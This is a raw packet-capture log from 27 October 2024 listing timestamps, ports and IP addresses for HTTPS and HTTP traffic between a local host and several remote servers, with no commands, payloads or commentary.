Oct 27, 2024 17:54:35.906630039 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.906646013 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.906655073 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.908004999 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.908195972 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.908247948 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.908431053 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.908437967 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.908447027 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.908451080 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.924945116 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.925021887 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.925128937 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.933581114 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.933653116 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.933685064 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.933706999 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.933743954 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.935831070 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.958606958 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.958642960 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.958745956 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.958765984 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.989470005 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.990658045 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.990670919 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.990704060 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.990720034 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.990729094 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.990736961 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.990763903 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.004436970 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.004576921 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.005109072 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.045247078 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.045286894 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.045671940 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.045933962 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.045943975 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.046355963 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.046380043 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.046410084 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.046417952 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.047297001 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.050529003 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.050576925 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.050606012 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.050625086 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.050654888 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.050682068 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.110234022 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.110265970 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.110307932 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.110316038 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.110342979 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.110361099 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.117001057 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.125439882 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.125492096 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.125528097 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.125550032 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.125577927 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.125619888 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.169181108 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.169226885 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.169377089 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.169377089 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.169394016 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.172933102 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.183020115 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.183044910 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.188221931 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.188438892 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.230798006 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.230819941 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.230850935 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.230858088 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.230868101 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.230891943 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.233136892 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.233153105 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.233212948 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.233217955 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.233252048 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.254920006 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.255094051 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.255103111 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.285928011 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.285957098 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.286159992 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.286185980 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.286246061 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.377012968 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.377058029 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.377144098 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.379725933 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.379781961 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.379846096 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.380940914 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.380969048 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.381030083 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.397098064 CET	49883	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.397125959 CET	443	49883	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.398674011 CET	49884	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.398693085 CET	443	49884	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.399070024 CET	49885	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.399080992 CET	443	49885	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.409962893 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.409975052 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.410178900 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.410294056 CET	49886	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.410306931 CET	443	49886	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.439678907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.503739119 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.503748894 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.503774881 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.503801107 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.503808975 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.503827095 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.503845930 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.504147053 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.504219055 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.504229069 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.504251957 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.504280090 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.504343987 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.504683971 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.504728079 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.504759073 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.504777908 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.504806042 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.504826069 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.505275011 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.505290031 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.505301952 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.505321980 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.505325079 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.505337000 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.505371094 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.505671024 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.505722046 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.505904913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.507859945 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.507874966 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.520543098 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.520612955 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.520620108 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.520658970 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.520688057 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.520714045 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.592829943 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.592848063 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.592894077 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.592899084 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.592928886 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.592986107 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.594062090 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.594110012 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.594135046 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.594149113 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.594173908 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.594188929 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.638179064 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.638233900 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.638257027 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.638267040 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.638287067 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.638312101 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.712853909 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.712876081 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.712912083 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.712917089 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.712959051 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.714174986 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.714188099 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.714219093 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.714230061 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.714261055 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.714279890 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.753983974 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.754041910 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.754070997 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.754084110 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.754106045 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.754122972 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.756833076 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.756877899 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.756906986 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.756913900 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.756931067 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.756956100 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.788146019 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788218975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.788245916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788256884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788285971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.788311958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.788326025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788355112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788366079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788377047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788388014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788398027 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.788400888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788414001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788435936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.788453102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.788655996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.788697958 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.789330006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.789423943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.793577909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.793632984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.793667078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.793709993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.793863058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.793941975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.834181070 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.834201097 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.834234953 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.834240913 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.834280968 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.872004032 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.872064114 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.872087002 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.872102022 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.872126102 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.872152090 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.921515942 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.922180891 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.922210932 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.922873974 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:36.922883987 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:36.945903063 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.945950985 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.945992947 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.946026087 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.946057081 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.946135998 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.951623917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951638937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951648951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951654911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951708078 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.951836109 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951847076 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951872110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951884985 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.951889038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951901913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.951908112 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.951940060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.952554941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.952567101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.952577114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.952594995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.952620029 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.952764034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:36.952819109 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:36.954025984 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.954047918 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.954087973 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.954094887 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.954144001 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.955415010 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.955430031 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.955502033 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.955506086 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:36.955593109 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:36.989896059 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.989944935 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.989981890 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.990000010 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:36.990031004 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:36.990058899 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.051301003 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.051487923 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.051584959 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.051651955 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.051651955 CET	49882	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.051671982 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.051686049 CET	443	49882	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.055418968 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.055485010 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.055624962 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.056771994 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:37.056786060 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:37.062978983 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.063026905 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.063075066 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.063097000 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.063143015 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.063191891 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.071732998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.071748972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.071759939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.071818113 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.071857929 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.071861029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.071873903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.071883917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.071902990 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.071932077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.072194099 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072211981 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072222948 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072233915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072244883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072262049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.072293997 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.072849989 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072861910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.072900057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.072930098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.075347900 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.075370073 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.075408936 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.075416088 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:37.075443029 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.075459003 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:37.107306957 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.107369900 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.107403040 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.107425928 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.107450962 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.107470036 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.114125013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.114161015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.114207983 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.180406094 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.180453062 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.180485010 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.180516958 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:37.180548906 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.180569887 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:37.191788912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.191813946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.191838026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.191848993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.191870928 CET	80	49853	185.215.113.206	192.168.2.5
